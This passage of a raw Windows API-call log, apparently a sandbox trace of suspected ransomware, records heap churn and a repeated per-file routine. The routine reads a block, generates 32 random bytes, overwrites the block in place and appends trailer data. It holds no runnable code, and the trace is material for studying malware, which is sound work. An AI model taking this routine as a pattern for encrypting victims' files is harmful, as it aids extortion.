hHeap=0x540000) returned 1 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.435] GetProcessHeap () returned 0x540000 [0084.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.436] GetProcessHeap () returned 0x540000 [0084.436] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.436] GetProcessHeap () returned 0x540000 [0084.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.437] GetProcessHeap () returned 0x540000 [0084.437] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.438] GetProcessHeap () returned 0x540000 [0084.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.439] SetFilePointerEx (in: hFile=0x880, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.439] WriteFile (in: hFile=0x880, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.439] WriteFile (in: hFile=0x880, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.439] GetProcessHeap () returned 0x540000 [0084.439] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.439] CloseHandle (hObject=0x880) returned 1 [0084.442] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 66 [0084.442] SetFilePointerEx (in: hFile=0x884, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.442] ReadFile (in: hFile=0x884, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.442] SetFilePointerEx (in: hFile=0x884, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.442] GetProcessHeap () returned 0x540000 [0084.442] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.442] GetProcessHeap () returned 0x540000 [0084.442] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.442] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.442] GetProcessHeap () returned 0x540000 [0084.442] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.442] ReadFile (in: hFile=0x884, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.492] SetFilePointerEx (in: hFile=0x884, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.492] WriteFile (in: hFile=0x884, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.492] GetProcessHeap () returned 0x540000 [0084.492] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.493] GetProcessHeap () returned 0x540000 [0084.493] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.493] GetProcessHeap () returned 0x540000 [0084.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.494] GetProcessHeap () returned 0x540000 [0084.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.495] GetProcessHeap () returned 0x540000 [0084.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.496] GetProcessHeap () returned 0x540000 [0084.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.496] SetFilePointerEx (in: hFile=0x884, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.496] WriteFile (in: hFile=0x884, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.496] WriteFile (in: hFile=0x884, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.496] GetProcessHeap () returned 0x540000 [0084.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.497] GetProcessHeap () returned 0x540000 [0084.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.497] GetProcessHeap () returned 0x540000 [0084.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.497] CloseHandle (hObject=0x884) returned 1 [0084.498] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 67 [0084.498] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.498] ReadFile (in: hFile=0x888, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.498] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.498] GetProcessHeap () returned 0x540000 [0084.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.498] GetProcessHeap () returned 0x540000 [0084.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.498] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.498] GetProcessHeap () returned 0x540000 [0084.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.498] ReadFile (in: hFile=0x888, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.546] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 